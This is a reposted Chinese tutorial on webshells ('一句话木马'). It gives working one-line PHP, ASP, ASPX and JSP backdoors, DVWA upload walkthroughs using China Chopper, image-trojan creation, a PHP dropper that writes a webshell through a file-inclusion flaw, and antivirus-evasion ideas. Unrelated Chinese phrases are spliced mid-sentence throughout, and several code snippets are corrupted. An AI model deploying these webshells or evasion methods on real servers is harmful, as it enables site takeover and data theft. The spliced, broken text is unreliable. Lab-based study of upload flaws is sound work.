Web 安全-⼀句话⽊马(转载)
概述
在很多的渗透过程中,渗透⼈员会上传⼀句话⽊马(简称Webshell)到⽬前web服务⽬录继⽽提权获取系统权限,不论asp、php、jsp、aspx都是如此,那么⼀句话⽊马到底是什么呢?
先来看看最简单的⼀句话⽊马:
<?php @eval($_POST['attack']) ?>
1
【基本原理】利⽤⽂件上传漏洞,往⽬标⽹站中上传⼀句话⽊马,然后你就可以在本地通过中国菜⼑ch清炖鱼怎么做好吃又简单方便
即可获取和控制整个⽹站⽬录。@表⽰后⾯即使执⾏错误,也不报错。eval()函数表⽰括号内的语句字符串什么的全都当做代码执⾏。$_POST[‘attack’]表⽰从页⾯中获得attack这玉米汁的功效
个参数值。
⼊侵条件
其中,只要攻击者满⾜三个条件,就能实现成功⼊侵:
(1)⽊马上传成功,未被杀;
(2)知道⽊马的路径在哪;
(3)上传的⽊马能正常运⾏。
常见形式
常见的⼀句话⽊马:
php的⼀句话⽊马: <?php @eval($_POST['pass']);?>
asp的⼀句话是: <%eval request (“pass”)%>
aspx的⼀句话是: <%@ Page Language=“Jscript”%> <%eval(Request.Item[“pass”],“unsafe”);%>
我们可以直接将这些语句插⼊到⽹站上的某个asp/aspx/php⽂件上,或者直接创建⼀个新的⽂件,在⾥⾯写⼊这些语句,然后把⽂件上传到⽹站上即可。
基本原理
⾸先我们先看⼀个原始⽽⼜简单的php⼀句话⽊马:
<?php @eval($_POST['cmd']); ?>
1
看到这⾥不得不赞美前辈的智慧。对于⼀个稍微懂⼀些php的⼈⽽⾔,或者初级的安全爱好者,或者脚本⼩⼦⽽⾔,看到的第⼀眼就是密码是cmd,通过post提交数据,但是具体如何执⾏的,却不得⽽知,下⾯我们分析⼀句话是如何执⾏的。
这句话什么意思呢?
(1)php的代码要写在<?php ?>⾥⾯,服务器才能认出来这是php代码,然后才去解析。
(2)@符号的意思是不报错,即使执⾏错误,也不报错。
在这⾥插⼊图⽚描述
为什么呢?因为⼀个变量没有定义,就被拿去使⽤了,服务器就善意的提醒:Notice,你的xxx变量没有定义。这不就暴露了密码吗?所以我们加上@。
(3)为什么密码是cmd呢?
那就要来理解这句话的意思了。php⾥⾯⼏个超全局变量:_POST就是其中之⼀。$_POST[‘a’]; 的意思就是a这个变量,⽤post的⽅法接收。
注释:传输数据的两种⽅法,get、post,post是在消息体存放数据,get是在消息头的url路径⾥存放数据(例如xxx.php?a=2)
(4)如何理解eval()函数?
eval()把字符串作为PHP代码执⾏。
例如:eval(“echo ‘a’”);其实就等于直接 echo ‘a’;再来看看<?php eval($_POST['pw']); ?>⾸先,⽤post⽅式接收变量pw,⽐如接收到了:pw=echo ‘a’;这时代码就变成<?php eval("echo 'a';"); ?>。结果如下:
ET 、G
连起来意思就是:⽤post⽅法接收变量pw,把变量pw⾥⾯的字符串当做php代码来执⾏。所以也就能这么玩:也就是说,你想执⾏什么代码,就把什么代码放进变量pw⾥,⽤post传输穿越言情小说
给⼀句话⽊马。你想查看⽬标硬盘⾥有没有⼩黄⽚,可以⽤php函数:opendir()和readdir()等等。想上传点⼩黄⽚,诬陷站主,就⽤php函数:move_uploaded_file,当然相应的html要写好。你想执⾏cmd命令,则⽤exec()。
当然前提是:php配置⽂件php.ini⾥,关掉安全模式safe_mode = off,然后再看看 禁⽤函数列表 disable_functions = proc_open,popen, exec, system, shell_exec ,把exec去掉,确保没有玻璃的历史
exec(有些cms为了⽅便处理某些功能,会去掉的)。
来看看效果,POST代码如下:
cmd=header(“Content-type:text/html;chart=gbk”);
exec(“ipconfig”,out);
echo ‘’;
在这⾥我们可以看到系统直接执⾏了系统命令。SO,⼤家现在应该理解,为什么说⼀句话短⼩精悍了吧!
⽊马利⽤
以下通过DVWA的⽂件上传漏洞,来看看⼀句话⽊马如何使⽤。关于⽂件上传漏洞可阅读以下⽂章:⽂件上传漏洞。
中国菜⼑
【实验准备】⾸先在本地(桌⾯)保存⼀句话⽊马⽂件Hack.php(⽤记事本编写后修改⽂件后缀即可):
<?php @eval($_POST['pass']);?>
在Low 安全级别下,查看后台源码:
<?php if( ist( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= baname( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '
Your image was not uploaded.
'; } el { // Yes! echo "
{$target_path} succesfully uploaded!
"; } } ?>
从源码中发现,low级别未对上传的⽂件进⾏任何验证。所以可以直接上传PHP或者ASP⼀句话⽊马,此例采⽤php。
(1)我们将准备好的⼀句话⽊马直接上传,然后就可以看到回显的路径:
在这⾥插⼊图⽚描述在这⾥插⼊图⽚描述
(2)接着就可以⽤菜⼑连接了,菜⼑界⾯右键,然后点击添加。然后填写相关的数据,如下图:
在这⾥插⼊图⽚描述“中国菜⼑”页⾯操作说明:
1、是连接的URL,就是⽹站的主路径然后加上上传⽂件时回显的保存路径;
2、是菜⼑连接时的密码,就是上⾯图⽚⼀句话提交的数据(本例为"pass");
3、是⼀句话的解析类型,可以是asp,php,aspx。不同的解析类型的⼀句话内容不⼀样,⽂件后缀名不⼀样。
(3)然后可以看连接成功的界⾯:
(4)接着双击或者右键“⽂件管理”,进⼊以下界⾯:
我们看到了整个⽹站的结构和⽂件,甚⾄是暴漏了我整个电脑主机的磁盘存储!!可以进⾏任意⾮法增删查改!!⽹站(主机)⾄此沦陷……
图⽚⽊马
⽊马如何才能上传成功?通常防御者都会对类型、⼤⼩、进⾏过滤。另外,若规定是上传的图⽚,还会对图⽚进⾏采集。即使攻击者修改⽂件类型,员工自我总结
也过不了图⽚采集那⼀关。所以,这就需要⼀张图⽚来做掩护。做成隐藏在图⽚下的⽊马。linux和windows都有相应的命令,能够让⼀个⽂件融合到另⼀个⽂件后⾯,达到隐藏的⽬的。
承接上⾯DVWA实验,High 安全等级,继续先查看源码:
<?php if( ist( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= baname( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name =$_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr(转辙器
$uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
out );echo <′pre >′;print (r
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name
' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if(
!move_uploaded_fi戏曲家
le( $uploaded_tmp, $target_path ) ) { // No echo '
Your image was not uploaded.
'; } el { // Yes! echo "
{$target_path} succesfully uploaded!
"; } } el { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'; } } ?>
可以看到,High级别的代码读取⽂件名中最后⼀个”.”后的字符串,期望通过⽂件名来限制⽂件类型,因此要求上传⽂件名形式必须
是“.jpg”、“.jpeg” 、“.png”之⼀。同时,getimagesize()函数更是限制了上传⽂件的⽂件头必须为图像类型。
在这⾥插⼊图⽚描述我们需要将上传⽂件的⽂件头伪装成图⽚,⾸先利⽤copy命令将⼀句话⽊马⽂件Hack.php与正常的图⽚⽂件ClearSky.jpg合并:
【备注】以下为CMD下⽤copy命令制作“图⽚⽊马”的步骤,其中,ClearSky.jpg/b中“b”表⽰“⼆进制⽂件”,hack.php/a中“a"表⽰ASCII码⽂件。
⽣成带有⽊马的图⽚⽂件hack.jpg:
接着我们打开⽣成的图⽚⽊马⽂件,我们可以看到⼀句话⽊马已附在图⽚⽂件末尾:
然后我们试着入党申请书最新
将⽣成的⽊马图⽚⽂件hack.jpg上传,上传成功
访问图⽚⽊马:
接下来,上菜⼑
但是由于是图⽚⽊马,PHP脚本并⽆法被解析,菜⼑连接⽊马失败:
既然图⽚⽊马也⽆法解析,那该怎么办?High级别的程序只允许上传图⽚啊……别慌,此处结合DVWA靶场⾃带的⽂件包含漏洞即可成功上传PHP⽊马并上菜⼑连接了,下⾯进⾏攻击演⽰。
⾸先通过上述⽅法制造新的图⽚⽊马,图⽚⽂件后⾯的PHP脚本更改为:
<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST[hack]);?>'); ?>
1
然后制作新的图⽚⽊马,如下图所⽰:
此时再上菜⼑连接,即可成功连接:
⾄此,我们成功结合⽂件包含漏洞,在只能上传图⽚的⽂件上传功能处上传图⽚⽊马并⽣成⼀句话⽊马。最后附上⼀篇博⽂,介绍了图⽚⽊马+解析漏洞的利⽤:PHP图⽚⽊马。
⽊马免杀
就算⽊马能正常运⾏,那么过段时间会不会被管理员杀掉?如何免杀?上⾯虽然⽊马上传成功了,但是只要管理员⼀杀毒,全部都能杀出来。⽽且,还会很明确的说这是后门。因此,作为攻击者就得会
各种免杀技巧。防御者的防御很简单,什么时候哪个论坛爆出新的免杀技巧,安全⼈员⽴马将这玩意⼉放⼊⿊名单,那么这种免杀技巧就失效了。所以,攻击者得不断创新,发明新的免杀技巧。
【免杀思路】:
1、将源代码进⾏再次编码。
2、将那⼀句话⽊马进⾏ba64编码,存放在直爽的反义词
"乱七⼋糟"的代码中,直接看图:
3、还是⼀句话⽊马,进⾏变形,只不过,这次的变形是在数组中键值对变形。很强。
不得不说,免杀的思路真是越猥琐,越好。研究起来⾮常有意思。以后等我渗透熟练了,会好好研究⼀下PHP代码的各种免杀技巧。很好玩,思路很猥琐。
⼩马和⼤马
⼩马和⼤马都是⽹页类型中的⼀种后门,是通过⽤来控制⽹站权限的,那最主要的区别就是⼩马是⽤来上传⼤马的。通过⼩马上传⼤马,这时候有个疑问了,那不是多此⼀举了,为什么要⽤⼩马来上传⼤马,⽽⼲嘛不直接上传⼤马⽤好了。其实这⾥是因为⼩马体积⼩,有⽐⼤马更强的隐蔽优势,⽽且有针对⽂件⼤⼩上传限制的漏洞,所以才有⼩马,⼩马也通常⽤来做留备⽤后门等。
⽹页⼩马
⼩马体积⾮常⼩,只有2KB那么⼤,隐蔽性也⾮常的好,因为⼩马的作⽤很简单,就是⼀个上传功能,就没有其它的了,它的作⽤仅仅是⽤来上传⽂件,所以也能过⼀些安全扫描。⼩马是为了⽅便上传⼤马的,因为很多漏洞做了上传限制,⼤马上传不了,所以就只能先上传⼩马,再接着通过⼩马上传⼤马了。⼩马还可以通过与图⽚合成⼀起通过IIS漏洞来运⾏。
Java语⾔编写的后台咱们使⽤JSP⽊马,与前⾯的⼀句话⽊马不同,菜⼑中JSP⽊马较长,以下是⼀个简单的JSP⼩马:
<%
if(“123”.Parameter(“pwd”))){
java.io.InputStream in = Runtime().Parameter(“i”)).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("
");
while((ad(b))!=-1){
out.println(new String(b));
}
out.print("
");
}
%>
⽹页⼤马
⼤马的体积就⽐较⼤了,通常在50K左右,⽐⼩马会⼤好多倍,但对应的功能也很强⼤,包括对数据的管理,命令的操作,数据库的管理,解压缩,和提权等功能,都⾮常强⼤。这种⼤马⼀旦⽹站被种了,⽹站基本就在这个⼤马控制之中。⼤马的隐蔽性不好,因为涉及很多敏感代码,安全类程序很容
易扫描到。
中国菜⼑的⼀句话不算,菜⼑⼀句话通过客户端来操作也⾮常强⼤,⼀句话的代码可以和⼤马实现的⼀样。我们这⾥说的⼩马和⼤马是指⽹页类型中的,⼩马就是为了配合上传⼤马的,这是它最主要的作⽤,还有就是⼩马歌唱家张也
可以当做备⽤的后门来使⽤,⼀般⼤马容易被发现,⽽⼩马则更容易隐藏在系统的⽂件夹中。
来看看⼀个⼤马利⽤实例:在虚拟机中往DVWA上传PHP⼤马(源码附在最后)